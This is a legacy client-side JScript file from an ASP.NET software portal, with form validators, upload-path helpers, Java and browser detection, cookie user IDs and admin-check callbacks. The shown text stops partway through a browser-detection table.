//// JScript File
function ShowHideProductList(box, id)
{
    var elm = document.getElementById(id); 
    elm.style.display = box.checked? "inline":"none";
}


function DisableStateValidator(dropdownlist, staterequired)
{
    var validator = (typeof staterequired == 'string' ? document.getElementById(staterequired) : staterequired);
    //alert(staterequired);
    var	country = dropdownlist.options[dropdownlist.selectedIndex].value;
    //alert(country);
    var stateRequired = document.getElementById(ClientIDs.star);
    //alert(ClientIDs.star);
    
	if (country != "United States") 
    {
        stateRequired.innerText = "";
        ValidatorEnable(validator, false); 
    }
    else
    {
        stateRequired.innerText = "*";
        ValidatorEnable(validator, true);

    }
}

function PageQuery(q) {
    if(q.length > 1) 
        this.q = q.substring(1, q.length);
    else this.q = null;
        this.keyValuePairs = new Array();
    if(q) {
    
    for(var i=0; i < this.q.split("&").length; i++) {
        this.keyValuePairs[i] = this.q.split("&")[i];
    }
    }
    
    this.getKeyValuePairs = function() { return this.keyValuePairs; }
    
    this.getValue = function(s) {
        for(var j=0; j < this.keyValuePairs.length; j++) {
        if(this.keyValuePairs[j].split("=")[0] == s)
        return this.keyValuePairs[j].split("=")[1];
    }
    return false;
    }
    
    this.getParameters = function() {
    
    var a = new Array(this.getLength());
    
    for(var j=0; j < this.keyValuePairs.length; j++) {
        a[j] = this.keyValuePairs[j].split("=")[0];
    }
    return a;
    }
    
    this.getLength = function() { return this.keyValuePairs.length; } 
}
function queryString(key){
    var page = new PageQuery(window.location.search); 
    return unescape(page.getValue(key)); 
}

function AutoCompleteFields(obj)
{
   var changeOnlyName = document.getElementById(ClientIDs.ChangeName);
   
  
   if(changeOnlyName == null || changeOnlyName.checked == false)
   {
       var productName = obj.value;
       var productURL = document.getElementById(ClientIDs.Link);
       var linkType = document.getElementById(ClientIDs.LinkType);
       var productFeaturesURL = document.getElementById(ClientIDs.Features);
       var featuresType = document.getElementById(ClientIDs.FeaturesType);
       var productGuideURL = document.getElementById(ClientIDs.Guide);
       var guideType = document.getElementById(ClientIDs.GuideType);
       var productDocumentationURL = document.getElementById(ClientIDs.Documentation);
       var documentationType = document.getElementById(ClientIDs.DocumentationType);
       var productLicensingURL = document.getElementById(ClientIDs.LicensingURL);
       var licensingType = document.getElementById(ClientIDs.LicensingType);
       //var productVirtualTourURL = document.getElementById(ClientIDs.VirtualTourURL);
       //var productVirtualTourURLType = document.getElementById(ClientIDs.VirtualTourType);
       //var productMainPageURL = document.getElementById(ClientIDs.MainPage);
       
       if(productName != '')
       {
           if(linkType.options[linkType.selectedIndex].value == 'Autogenerated')
                productURL.value = RemoveBlanks(productName) + '.aspx';
           
           if(featuresType.options[featuresType.selectedIndex].value == 'Autogenerated')
                productFeaturesURL.value = RemoveBlanks(productName) + 'Features.aspx';
           
           if(guideType.options[guideType.selectedIndex].value == 'Autogenerated')
                productGuideURL.value = RemoveBlanks(productName) + 'Guide.aspx';
            
           if(documentationType.options[documentationType.selectedIndex].value == 'Autogenerated')        
                productDocumentationURL.value  = RemoveBlanks(productName) + 'Documentation.aspx';
           
           if(licensingType.options[licensingType.selectedIndex].value == 'Autogenerated')         
                productLicensingURL.value = RemoveBlanks(productName) + 'Licensing.aspx';
           
           //if(productVirtualTourURLType.options[productVirtualTourURLType.selectedIndex].value == 'Autogenerated')        
                //productVirtualTourURL.value = RemoveBlanks(productName) + 'VirtualTour.aspx';
           //productMainPageURL.value = RemoveBlanks(productName) + 'MainPage.aspx';
       }
       else
       {
         productURL.value = '';
         productFeaturesURL.value = '';
         productGuideURL.value = '';
         productDocumentationURL.value  = '';
         productLicensingURL.value = '';
         //productVirtualTourURL.value = '';
         //productMainPageURL.value = '';
       }
   }
}

function SetLink(obj, productPageName, span)
{
   var type = obj.value;
   var productPage = document.getElementById(ClientIDs[productPageName]);
   var productName = document.getElementById(ClientIDs.Name);
   var span = document.getElementById(ClientIDs[span]);
   
   switch(type)
    {
    case "Autogenerated":
        span.innerHTML = "";
      if(productName.value != "" )
        if(productPageName != "Link")
            productPage.value = RemoveBlanks(productName.value) + productPageName + ".aspx";
         else
            productPage.value = RemoveBlanks(productName.value) + ".aspx";
      else
        productPage.value = "";
        productPage.readOnly = true;
      break;    
    case "Internet":
        span.innerHTML = "";
      productPage.value = "http://";
      productPage.readOnly = false;
      break;
    case "Webserver":
      span.innerHTML = "";
      productPage.value = "\\";
      productPage.readOnly = false;
      break;
    default:
      span.innerHTML = "";
      productPage.value = "";
      productPage.readOnly = true;
      break;
    }
}

function CheckLinkType(obj, pageType, span)
{
    var page = obj.value;
    
    var type = document.getElementById(ClientIDs[pageType]);
    var span = document.getElementById(ClientIDs[span]);
    
    switch(type.value)
    {
        case "Autogenerated":
            span.innerHTML = "";
            if (obj.value != "")
            {
                span.innerHTML = "You cannot enter an autogenerated page name.";
            }
            else
            {
                 span.innerHTML = "";
            }
            break;
        case "Internet":
            span.innerHTML = "";
            var start = obj.value.substring(0, 7);
            if(start != "http://" && obj.value != "" )
            span.innerHTML = "Invalid address.";
            else
            span.innerHTML = "";
            break;
            
        case "Webserver":
            span.innerHTML = "";
            var start = obj.value.substring(0, 1);
            if(start != "\\" && obj.value != "")
            span.innerHTML = "Invalid location.";
            else
            span.innerHTML = "";
            break;
    }
    
}


function RemoveBlanks(productName)
{
  var tmp = "";
  var len = productName.length;
//  var item_length_minus_1 = item.value.length - 1;
  for (index = 0; index < len; index++)
  {
    if (productName.charAt(index) != ' ')
    {
      tmp += productName.charAt(index);
    }
    else
    {
      if (tmp.length > 0)
      {
        if (productName.charAt(index) != ' ' && index != (len-1))
        {
          tmp += productName.charAt(index);
        }
      }
    }
  }
    if (productName.charAt(0) == ' ' && productName.length == 1) tmp = '';
  
    return tmp;
}

function CategoryValidate(oSrc, args){    
    args.IsValid = document.getElementById(ClientIDs.Category).selectedIndex>=0;
}

function CategoryValidateProductInsert(oSrc, args){    
    args.IsValid = document.getElementById(ClientIDs.ProductCategory).selectedIndex>=0;
}

function ProductValidate(oSrc, args){
    args.IsValid = document.getElementById(ClientIDs.ProductIdLabel.substring(0,ClientIDs.ProductIdLabel.length -5)).selectedIndex>=0;
}

function SetDownloadPathCheck()
{
    var isPublic = document.getElementById(ClientIDs.CheckBox1);
    //alert(isPublic.checked);
    var resourceURL = document.getElementById(ClientIDs.AddDownload + "_ResourceURL");
    var userMachineRadio = document.getElementById(ClientIDs.UserMachine);
    var filUpload = document.getElementById(ClientIDs.filUpload);
    var filename = filUpload.value;
    filename = filename.substring(filename.lastIndexOf('\\'), filename.length);
    
    if(resourceURL.value != "" && userMachineRadio.checked && filename != "")
    {
        if(!isPublic.checked)
         {
            resourceURL.value = '\\Downloads\\downloads' + filename;
            }
         else
         {
            resourceURL.value = '\\Downloads\\downloads\\public' + filename;
         }
    }
}

function SetDownloadPath()
{
     var resourceURL = document.getElementById(ClientIDs.AddDownload + "_ResourceURL");
     var filUpload = document.getElementById(ClientIDs.filUpload);
     
   
    if(filUpload == null)
    {
        var uploader = document.getElementById('uploader');
        uploader.innerHTML="<input type='file' id="+ClientIDs.filUpload+" onchange='SetDownloadPath()' />";
        uploader.style.display = '';
    }
   
     var isPublic = document.getElementById(ClientIDs.CheckBox1);
     var filename = filUpload.value;
     //alert(filename.lastIndexOf('\\'));
     //alert(isPublic.checked);
     
     filename = filename.substring(filename.lastIndexOf('\\'), filename.length);
    
     if(!isPublic.checked)
     {
        resourceURL.value = '\\Downloads\\downloads' + filename;
        }
     else
     {
        resourceURL.value = '\\Downloads\\downloads\\public' + filename;
     }
}

function SetProductImagePath()
{
     //alert('ok');
     var resourceURL = document.getElementById(ClientIDs.ProductImagePath);
     var filUpload = document.getElementById(ClientIDs.filUpload);
     
     var filename = filUpload.value;
     //alert(filename);
     filename = filename.substring(filename.lastIndexOf('\\'), filename.length);
     //alert(filename);
     resourceURL.value = '\\Upload\\Image' + filename;
     //alert(resourceURL.value);
}


function ProductValidateKB(oSrc, args)
{

 var tableBody = document.getElementById(ClientIDs.ProductId).childNodes[0]; 
 
 //alert(tableBody);
 
 args.IsValid = false;

 for (var i=0;i<tableBody.childNodes.length; i++)
 {
  var currentTd = tableBody.childNodes[i].childNodes[0];
  var listControl = currentTd.childNodes[0];

  if ( listControl.checked == true )
   //alert('#' + i + ': is checked');
   args.IsValid = true;
 }
}

function SetReason(reason, id)
{
    id.value = reason;
    //alert(reason);
}

function URLValidate(oSrc, args){    
    
    args.IsValid = true;
    var url = document.getElementById(ClientIDs.URL).value;
    //var regEx = "(([a-zA-Z][0-9a-zA-Z+\\-\\.]*:)?/{0,2}[0-9a-zA-Z;/?:@&=+$\\.\\-_!~*'()%]+)?(#[0-9a-zA-Z;/?:@&=+$\\.\\-_!~*'()%]+)?";
    //var regEx = "((https?|ftp|gopher|telnet|file|notes|ms-help):((//)|(\\\\))+[\w\d:#@%/;$()~_?\+-=\\\.&]*)";
    
//    if(url.substring(0,3) != "www" &&  url.substring(0,3) != "http")
//    {
//        args.IsValid = false;
//    }
////    if(!url.match(regEx))
////    {
////         args.IsValid = false;
////    }
//    else if(ContainsString(url, 'localhost') || ContainsString(url, '127.0.0.1') || ContainsString(url, '192.168'))
//    {
//        args.IsValid = false;
//    } 
    
    args.IsValid = IsValidURL(url); 
}

function WebsiteValidate(oSrc, args){    
    
    args.IsValid = true;
    var url = document.getElementById(ClientIDs.Website).value;
    //var regEx = "((https?|ftp|gopher|telnet|file|notes|ms-help):((//)|(\\\\))+[\w\d:#@%/;$()~_?\+-=\\\.&]*)";
   
//    if(!url.match(regEx))
//    {
//         args.IsValid = false;
//    }
//    if(url.substring(0,3) != "www" &&  url.substring(0,3) != "http")
//    {
//        args.IsValid = false;
//    }
//    else if(ContainsString(url, 'localhost') || ContainsString(url, '127.0.0.1'))
//    {
//        args.IsValid = false;
//    }  
        args.IsValid = IsValidURL(url);
}

function IsValidURL(url)
{
    var isValid = true;
    if(url.substring(0,3) != "www" &&  url.substring(0,4) != "http")
    {
        isValid = false;
    }
    else if(ContainsString(url, 'localhost') || ContainsString(url, '127.0.0.1') || ContainsString(url, '192.168.'))
    {
        isValid = false;
    }
    
    return isValid;  
}

function ContainsString(strInitial, strToCheck)
{
    var contains = false;
    var initialLength = strInitial.length;
    var strToCheckLength = strToCheck.length;
    
    for(i = 0; i + strToCheckLength <= initialLength; i++)
    {
        if(strInitial.substr(i, strToCheckLength) == strToCheck)
        {
            contains = true;
            break;
        } 
    }
    return contains;
}


//java help page check if user completed the description field
function checkEmptyFields() {

	document.getElementById(ClientIDs.javaenabledHidden).value = document.getElementById('javaenabled').value
	document.getElementById(ClientIDs.javavendorHidden).value = document.getElementById('javavendor').value
	document.getElementById(ClientIDs.javaversionHidden).value = document.getElementById('javaversion').value 
}

//check java

// *********************************************************************************
var JavaEnabled = "Unknown";
var JavaVersion = "Unknown";
var JavaVendor = "Unknown";

var agt = navigator.userAgent.toLowerCase();
var ie  = (agt.indexOf("msie") != -1);
var ns  = (navigator.appName.indexOf("Netscape") != -1);
var win = ((agt.indexOf("win")!=-1) || (agt.indexOf("32bit")!=-1));
var mac = (agt.indexOf("mac")!=-1);

function detectJava() {
  if (document.detectjvmapplet) {
    try
    {
	    JavaVersion = document.detectjvmapplet.getJavaVersion();
	    JavaVendor = document.detectjvmapplet.getJavaVendor();
	}
	catch(err)
	{
	    JavaEnabled = "Disabled";
	}
  }
  else {
	JavaEnabled = "Disabled";
  }
}

function checkJava() {
	if (navigator.javaEnabled()) {
			JavaEnabled = "Enabled";
			if (ie && mac) {
				JavaVersion = "Unable to query (Mac IE)";
				JavaVendor = "Unable to query (Mac IE)";
			}
			else 
				detectJava();
	}
	else {
		JavaEnabled = "Disabled";
	}
	
	document.getElementById('javaenabled').value = JavaEnabled;
	document.getElementById('javavendor').value = JavaVendor;
	document.getElementById('javaversion').value = JavaVersion;
}

function checkJavaGeneral() {
	if (navigator.javaEnabled()) {
			JavaEnabled = "Enabled";
			if (ie && mac) {
				JavaVersion = "Unable to query (Mac IE)";
				JavaVendor = "Unable to query (Mac IE)";
			}
			else 
				detectJava();
	}
	else {
		JavaEnabled = "Disabled";
	}
	
	document.getElementById(ClientIDs.javaenabledHidden).value = JavaEnabled;
	document.getElementById(ClientIDs.javavendorHidden).value = JavaVendor;
	document.getElementById(ClientIDs.javaversionHidden).value = JavaVersion; 
}

//end check java


//file upload
var W3CDOM = (document.createElement && document.getElementsByTagName);

function initFileUploads() {
	if (!W3CDOM) return;
	var fakeFileUpload = document.createElement('div');
	fakeFileUpload.className = 'fakefile';
	fakeFileUpload.appendChild(document.createElement('input'));
	var image = document.createElement('img');
	image.src='/App_Themes/Default/masterpage/button.gif';
	fakeFileUpload.appendChild(image);
	var x = document.getElementsByTagName('input');
	for (var i=0;i<x.length;i++) {
		if (x[i].type != 'file') continue;
		if (x[i].parentNode.className != 'fileinputs') continue;
		x[i].className = 'file hidden';
		var clone = fakeFileUpload.cloneNode(true);
		x[i].parentNode.appendChild(clone);
		x[i].relatedElement = clone.getElementsByTagName('input')[0];
		x[i].onchange = x[i].onmouseout = function () {
			this.relatedElement.value = this.value;
		}
	}
}


//mouse over
function mouseon(obj)
{
   var style = obj.style
   style.textDecoration = "underline"
}
//mouse off
function mouseoff(obj)
{
   var style = obj.style
   style.textDecoration = "none"
}




function ClearHtmlTags()
{
      for(var i=0;i<document.forms[0].elements.length;i++)
      {
            if (document.forms[0].elements[i].type == "text" || document.forms[0].elements[i].type == "textarea")
            {
                  if (document.forms[0].elements[i].value.indexOf("<") >= 0)
                  {
                        do
                        {
                              document.forms[0][i].value = document.forms[0].elements[i].value.replace("<","&lt;")
                        }
                        while (document.forms[0].elements[i].value.indexOf("<") >= 0);
                  }
                  
                  if (document.forms[0].elements[i].value.indexOf(">") >= 0)
                  {      
                        do
                        {
                              document.forms[0][i].value = document.forms[0].elements[i].value.replace(">","&gt;")
                        }
                        while (document.forms[0].elements[i].value.indexOf(">") >= 0);
                  }
            }
      }
}

//limit the number of chars in a textbox
function LimitTheCharNumber(textBoxId, noOfChars)
{
    //var text = document.getElementById(textBoxId).value;
    var text = textBoxId.value;
    if(text.length > noOfChars)
    {
        text = text.substr(0, noOfChars);
    }
    
    //alert(text);
    
    //document.getElementById(textBoxId).value = text;
    textBoxId.value = text;
}

//alert if there is no reason for rejecting the trial
function ReasonIsEmpty(reason)
{
    var reasonValue = reason.value;
    var conf = true;
    
    if(reasonValue == '')
        conf = confirm("Are you sure you want to reject without a reson?");
    return conf;
}

//check if a country is selected when creating a new user
function CheckCoutrySelected(oSrc, args)
{
    args.IsValid = true;
    var country = document.getElementById(ClientIDs.Country);
    var	selectedCountry = country.options[country.selectedIndex].value;  
    if(selectedCountry == 'Please select one...')
    {
        args.IsValid = false;
        //document.getElementById(ClientIDs.CountryRequired).style.visibility =  'visible';
    }
    else
    {
        //document.getElementById(ClientIDs.CountryRequired).style.visibility =  'none';
    }
     
}

//in the create user page displays or hiddes the country required message
function SetCountryValidator()
{
    //args.IsValid = true;
    var country = document.getElementById(ClientIDs.Country);
    var	selectedCountry = country.options[country.selectedIndex].value;  
    if(selectedCountry == 'Please select one...')
    {
        //args.IsValid = false;
        document.getElementById(ClientIDs.CountryRequired).style.display =  'inline';
    }
    else
    {
        document.getElementById(ClientIDs.CountryRequired).style.display =  'none';
    }
}

//in the create user page displays or hiddes the terms of use must be checked message
function SetTermsOfUseValidator()
{
    //alert('ok');
    
    if(document.getElementById(ClientIDs.TermsOfUse).checked)
    {
        document.getElementById(ClientIDs.TermsOfUseChecked).style.display =  'none';
    }
    else
    {
        document.getElementById(ClientIDs.TermsOfUseChecked).style.display =  'inline';
    }
}


//contact us form validate subject
function MailSubjectValidate(oSrc, args)
{
    args.IsVald = true;
    args.IsValid = document.getElementById(ClientIDs.Subject).selectedIndex>=1;
}

function DisableMailSubjectValidator()
{
    if(document.getElementById(ClientIDs.Subject).selectedIndex == 4)
        document.location.href = '/UI/GetPriceOffer.aspx?m=l';
    
    var validator = document.getElementById(ClientIDs.SubjectSelected);
    
    if(document.getElementById(ClientIDs.Subject).selectedIndex>=1)
    {
        ValidatorEnable(validator, false); 
    }
    else
    {
        ValidatorEnable(validator, true);   
    }
}

//validate product category or product when addding a newu download
//function CategoryProductValidate(oSrc, args){
//     
//     if((document.all[ClientIDs.CategoryId].selectedIndex<=0) && (document.all[ClientIDs.ProductId].selectedIndex<=0))
//     { 
//        args.IsValid = false;
//        document.getElementById(ClientIDs.TermsOfUseChecked).style.display =  'inline';
//     }
//     else if((document.all[ClientID.CategorySelected].selectedIndex>0) &&
//     (document.all[ClientID.ProductId].selectedIndex>0))
//     { 
//        args.IsValid = false;
//        document.getElementById(ClientIDs.CategorySelected).style.display =  'inline';
//     }
//     
//     if(args.IsValid = true)
//        document.getElementById(ClientIDs.CategorySelected).style.display =  'none';
//}                                     

var timerID = null;
var timerRunning = false;
var id,pause=0,position=0;

function ticker() {
  var i,k,msg=" THIS IS WHERE YOUR MESSAGE GOES  ";
  k=(75/msg.length)+1;
  for(i=0;i<=k;i++) msg+=" "+msg;
  document.form2.ticker.value=
                msg.substring(position,position+75);
  if(position++==38) position=0;
  id=setTimeout("ticker()",1000/10); 
}
function action() {
  if(!pause) {
    clearTimeout(id);
    pause=1; 
  }
  else {
    ticker();
    pause=0; 
  }
}

function OpenWindowAjax(url, edit)
{
    var now = new Date();
    url = url + "&stamp=" + now.getTime();
   
    //var isAdmin = PageMethods.IsAdminUser(AlertCallback);
    //var isAdmin = PageMethods.HelloWorld(AlertCallback);
    if(!edit)
    {
        WebServiceAjax.IsAdminUser(AlertCallback, FailedCallback, url);
    }
    else
    {
        WebServiceAjax.IsAdminUser(EditCallback, FailedCallback, url);
    }
    
}

function EditCallback(result, userContext, methodName)
{
    if(!result)
    {
        alert("You don't have the necessary rights.");

    }
    else
    {
        window.open(userContext, '_parent', '');
    }
 
}

function AlertCallback(result, userContext, methodName)
{
    if(result)
    {
        var del = confirm('Are you sure you want to delete this user?');
        if(del == false)
            return;
        
        window.open(userContext, '_parent', '');
    }
    else
    {
        alert("You don't have the necessary rights.");
    }
}

// This is the callback function invoked if the Web service
// failed.
// It accepts the error object as a parameter.
function FailedCallback(error)
{
   error.get_message();
}


function OpenWindow(url)
{
    var now = new Date();
    url = url + "&stamp=" + now.getTime();
    
    //var isAdmin = PageMethods.IsAdminUser(AlertCallback);
    
    var del = confirm('Are you sure you want to delete this user?');
    if(del == false)
        return;
    
    window.open(url, '_parent', '');
}



//download module - add download - hide the file upload control
function HideFilUpload()
{
    //alert('hide');
    var filUpload = document.getElementById(ClientIDs.filUpload);
    
    if(filUpload != null)
//    {
//        var uploader = document.getElementById('uploader');
//        uploader.innerHTML="<input type='file' id="+ClientIDs.filUpload+" onchange='SetDownloadPath()' />";
//        uploader.style.display = 'none';
//    }
//    else
    {
    filUpload.style.display =  'none';
    }
    
    var resourceURL = document.getElementById(ClientIDs.AddDownload + "_ResourceURL");
    resourceURL.readOnly = false;
    resourceURL.value = '';
    
    //filUpload.value = '';
    var uploader = document.getElementById('uploader');
    uploader.innerHTML="<input type='file' id="+ClientIDs.filUpload+" onchange='SetDownloadPath()' />";
    uploader.style.display = 'none';
   
}

//download module - add download - show the file upload control
function ShowFilUpload()
{
    //alert('show');
    
    var resourceURL = document.getElementById(ClientIDs.AddDownload + "_ResourceURL");
    resourceURL.readOnly = true;
    resourceURL.value = '';
    
    var uploader = document.getElementById('uploader');
    uploader.style.display = '';
    var filUpload = document.getElementById(ClientIDs.filUpload);
    
    if(filUpload == null)
    {
         var uploader = document.getElementById('uploader');
        uploader.innerHTML="<input type='file' id="+ClientIDs.filUpload+" onchange='SetDownloadPath()' />";
        uploader.style.display = '';
    }
    else
    {
    filUpload.style.display =  '';
    }
    
}

function ResourceUrlValidate(oSrc, args)
{
    args.IsValid = true;
    
    var internetUrlCheckBox = document.getElementById(ClientIDs.Internet);
    
    if(internetUrlCheckBox.checked == true)
    {
        var url = document.getElementById(ClientIDs.AddDownload + "_ResourceURL").value;
        //var regEx = "(([a-zA-Z][0-9a-zA-Z+\\-\\.]*:)?/{0,2}[0-9a-zA-Z;/?:@&=+$\\.\\-_!~*'()%]+)?(#[0-9a-zA-Z;/?:@&=+$\\.\\-_!~*'()%]+)?";
        var regEx = "((https?|ftp|gopher|telnet|file|notes|ms-help):((//)|(\\\\))+[\w\d:#@%/;$()~_?\+-=\\\.&]*)";
        
        if(!url.match(regEx))
        {
             args.IsValid = false;
        }
        else if(ContainsString(url, 'localhost') || ContainsString(url, '127.0.0.1'))
        {
            args.IsValid = false;
        }  
    }
}

//Add download - edit - check the radio button corresponding to the resource type
function CheckResourceType()
{
    var resourceType = document.getElementById(ClientIDs.LocationHidden).value;
    var internetRadio = document.getElementById(ClientIDs.Internet);
    var webServerRadio = document.getElementById(ClientIDs.WebServer);
    var userMachine = document.getElementById(ClientIDs.UserMachine);
    
    
    var filUpload = document.getElementById(ClientIDs.filUpload);
    
    if(filUpload == null)
    {
        var uploader = document.getElementById('uploader');
        uploader.innerHTML="<input type='file' id="+ClientIDs.filUpload+" onchange='SetDownloadPath()' />";
    }
    
    //alert(resourceType);
    if(resourceType != '')
    {
        if(resourceType == "webServer")
        {
            webServerRadio.checked = true;
            filUpload.style.display =  'none';
        }
        else if(resourceType == "internet")
        {
            internetRadio.checked = true;
            filUpload.style.display =  'none';
        }
        else
        {
            userMachine.checked = true;
            //filUpload.style.display =  '';
        }
    }
        
}


//add download page  - disable category validator
function SetCategoryValidator()
{
    
    var category = document.getElementById(ClientIDs.CategoryId);
    var	categorySelected = category.options[category.selectedIndex].text; 
    var product = document.getElementById(ClientIDs.ProductId);
    var	productSelected = product.options[product.selectedIndex].text;
       
      if((productSelected == 'No product' && categorySelected == 'No category') 
    || (productSelected != 'No product' && categorySelected != 'No category'))
    {
        //args.IsValid = false;
        document.getElementById(ClientIDs.CategorySelected).style.display =  'inline';
    }
    else
    {
        document.getElementById(ClientIDs.CategorySelected).style.display =  'none';
    }
}

//add download page  - disable category validator
function SetProductValidator()
{
   
    var product = document.getElementById(ClientIDs.ProductId);
    var	productSelected = product.options[product.selectedIndex].text; 
    var category = document.getElementById(ClientIDs.CategoryId);
    var	categorySelected = category.options[category.selectedIndex].text;  
    
    if((productSelected == 'No product' && categorySelected == 'No category') 
    || (productSelected != 'No product' && categorySelected != 'No category'))
    {
        //args.IsValid = false;
        document.getElementById(ClientIDs.CategorySelected).style.display =  'inline';
    }
    else
    {
        document.getElementById(ClientIDs.CategorySelected).style.display =  'none';
    }
}

//disable all fields
function disableAll()
{
    var el = document.forms[0].elements;
    for(var i=0;i<el.length;i++)
    {
        el[i].setAttribute('disabled',true)
    }
}

function DisableReqValidator(textfield, validator)
{
    if(textfield.value == "")   
    {
        ValidatorEnable(document.getElementById(ClientIDs[validator]), true);
        //document.getElementById(ClientIDs[validator]).style.display = 'inline';
    }
    else
    {
        ValidatorEnable(document.getElementById(ClientIDs[validator]), false);
        //document.getElementById(ClientIDs[validator]).style.display = '';
    }
    
}

//apply for trial page: shows or hides the supplementary text field for a product
function ShowSupplementaryInfoTextField(product)
{
    var productId = product.getAttribute("value");
    var pname = product.getAttribute("pname");
    var textBoxName = pname + "_textbox";
    var labelName = pname + "_labelx";
    var labelNameReq = pname + "_labelreq";
    var validatorName = "reqSuppInfValidator_" + pname + "_textbox";
    var textboxInf = document.getElementById(ClientIDs[textBoxName]);
    var label = document.getElementById(ClientIDs[labelName]);
    var validator = document.getElementById(ClientIDs[validatorName]);
    var labelReq = document.getElementById(ClientIDs[labelNameReq]); 
    
    if(!product.checked)
    {
        //alert("hide");
        if(textboxInf != null && label!= null && labelReq != null)
        {
            textboxInf.style.display = 'none';
            label.style.display = 'none';
            labelReq.style.display = 'none';
            ValidatorEnable(validator, false); 
            validator.style.display = 'none';
        }
        
    }
    else
    {
        //alert("show");
        if(textboxInf != null && label!= null && labelReq != null)
        {
            textboxInf.style.display = 'inline';
            label.style.display = 'inline';
            labelReq.style.display = 'inline';
            ValidatorEnable(validator, true); 
            validator.style.display = 'none';
        }
    }
    
}

//apply for trial page: shows or hides the supplementary text field for a product
function ShowSupplementaryInfoTextFieldForDefault(product, textboxInf, label, validator, labelReq)
{
    var productId = product.getAttribute("value");
    var pname = product.getAttribute("pname");
   
    
    if(!product.checked)
    {
        //alert("hide");
        if(textboxInf != null && label!= null && labelReq != null && textboxInf != 'undefined' 
        && label!= 'undefined' && labelReq != 'undefined' && labelReq != null && labelReq != 'undefined')
        {
            textboxInf.style.display = 'none';
            label.style.display = 'none';
            labelReq.style.display = 'none';
            ValidatorEnable(validator, false); 
            validator.style.display = 'none';
        }
        
    }
    else
    {
        //alert("show");
        if(textboxInf != null && label!= null && labelReq != null && textboxInf != 'undefined' 
        && label!= 'undefined' && labelReq != 'undefined' && labelReq != null && labelReq != 'undefined')
        {
            textboxInf.style.display = 'inline';
            label.style.display = 'inline';
            labelReq.style.display = 'inline';
            ValidatorEnable(validator, true); 
            validator.style.display = 'none';
        }
    }
    
}


function SetUniqueRadioButton(nameregex, current, hiddenEl) 

{

//    re = new RegExp(nameregex);  

//    for(i = 0; i < document.forms[0].elements.length; i++)

//    { 

//        elm = document.forms[0].elements[i]

//        if (elm.type == 'radio') 
//        {

//           elm.checked = false; 
//        }

//    }

    //var hid = document.getElementById(hiddenEl); 
    hiddenEl.value = current.getAttribute("Decision");;
    current.checked = true; 
}

//create user form
function DisableWebsite(checkbox)
{
    var validator = document.getElementById(ClientIDs["WebsiteReq"]);
    var star = document.getElementById(ClientIDs["WebsiteReqLabel"]);
    
    if(checkbox.checked)
    {
        //alert("off");   
        ValidatorEnable(validator, false);
        star.style.display = 'none';
        validator.style.display = 'none';
    }
    else
    {
        //alert("on");
        ValidatorEnable(validator, true);
        star.style.display = 'inline';
        validator.style.display = 'inline';
    }
}

//get price offer form
function DisableWebsitePriceOffer(checkbox)
{
    var validator = document.getElementById(ClientIDs["URLRequired"]);
    var star = document.getElementById(ClientIDs["star"]);
    
    if(checkbox.checked)
    {
        //alert("off");   
        ValidatorEnable(validator, false);
        star.style.display = 'none';
        validator.style.display = 'none';
    }
    else
    {
        //alert("on");
        ValidatorEnable(validator, true);
        star.style.display = 'inline';
        validator.style.display = 'inline';
    }
}


//old website scripts
// Returns the current end-user's id, or creates one if it doesn't exist //
//function getEndUserID() {
//	var endUserID = getCookie("userid");
//	if (endUserID == null) {
//		endUserID = generateUniqueID();
//		// Create a date far into the future
//		var today = new Date();
//		today.setTime(today.getTime()+(86400000*18000));
//		setCookie("userid", endUserID, today);
//	}
//	return endUserID;
//}

function getEndUserID(appkey) {
	var endUserID = getCookie(appkey);
	if (endUserID == null) {
		endUserID = generateUniqueID();
		// Create a date far into the future
		var today = new Date();
		today.setTime(today.getTime()+(86400000*18000));
		setCookie(appkey, endUserID, today);
	}
	return endUserID;
}

// Generates a new unique end-user id on the fly //
function generateUniqueID() {
	var strId = "";
	for (i = 0; i < 5; i++) {
		strId += String.fromCharCode(getRandomValue(90, 65));
	}
	var today = new Date();
	strId += today.getTime()
	return strId;
}

// Generates a random number between 'min' and 'max' //
function getRandomValue(max, min) {
	var span = max-min;
	var d = span*Math.random();
	return d+min;
}

// Sets cookie values. Expiration date is optional // 
function setCookie(name, value, expire) {
	document.cookie = name + "=" + escape(value) + ((expire == null) ? "" : ("; expires=" + expire.toGMTString()));
}

// Returns the value of the cookie with the given name //
//function getCookie(name) {
//	var search = name + "=";
//	if (document.cookie.length > 0) { 
//		// if there are any cookies
//		offset = document.cookie.indexOf(search);
//		if (offset != -1) {
//			// if cookie exists
//			offset += search.length;
//			// set index of beginning of value
//			end = document.cookie.indexOf(";", offset);
//			// set index of end of cookie value
//			if (end == -1)
//				end = document.cookie.length;
//			return unescape(document.cookie.substring(offset, end));
//		}
//	}
//	// If we reach here, then the cookie was not found
//	return null;
//}


// this fixes an issue with the old method, ambiguous values 
// with this test document.cookie.indexOf( name + "=" );
function getCookie( check_name ) {
	// first we'll split this cookie up into name/value pairs
	// note: document.cookie only returns name=value, not the other components
	var a_all_cookies = document.cookie.split( ';' );
	var a_temp_cookie = '';
	var cookie_name = '';
	var cookie_value = '';
	var b_cookie_found = false; // set boolean t/f default f
	
	for ( i = 0; i < a_all_cookies.length; i++ )
	{
		// now we'll split apart each name=value pair
		a_temp_cookie = a_all_cookies[i].split( '=' );
		
		
		// and trim left/right whitespace while we're at it
		cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
	
		// if the extracted name matches passed check_name
		if ( cookie_name == check_name )
		{
			b_cookie_found = true;
			// we need to handle case where cookie has no value but exists (no = sign, that is):
			if ( a_temp_cookie.length > 1 )
			{
				cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
			}
			// note that in cases where cookie is initialized but no value, null is returned
			return cookie_value;
			break;
		}
		a_temp_cookie = null;
		cookie_name = '';
	}
	if ( !b_cookie_found )
	{
		return null;
	}
}

var BrowserDetect = {
	init: function () {
		this.browser = this.searchString(this.dataBrowser) || "An unknown browser";
		this.version = this.searchVersion(navigator.userAgent)
			|| this.searchVersion(navigator.appVersion)
			|| "an unknown version";
		this.OS = this.searchString(this.dataOS) || "an unknown OS";
	},
	searchString: function (data) {
		for (var i=0;i<data.length;i++)	{
			var dataString = data[i].string;
			var dataProp = data[i].prop;
			this.versionSearchString = data[i].versionSearch || data[i].identity;
			if (dataString) {
				if (dataString.indexOf(data[i].subString) != -1)
					return data[i].identity;
			}
			else if (dataProp)
				return data[i].identity;
		}
	},
	searchVersion: function (dataString) {
		var index = dataString.indexOf(this.versionSearchString);
		if (index == -1) return;
		return parseFloat(dataString.substring(index+this.versionSearchString.length+1));
	},
	dataBrowser: [
		{ 	string: navigator.userAgent,
			subString: "OmniWeb",
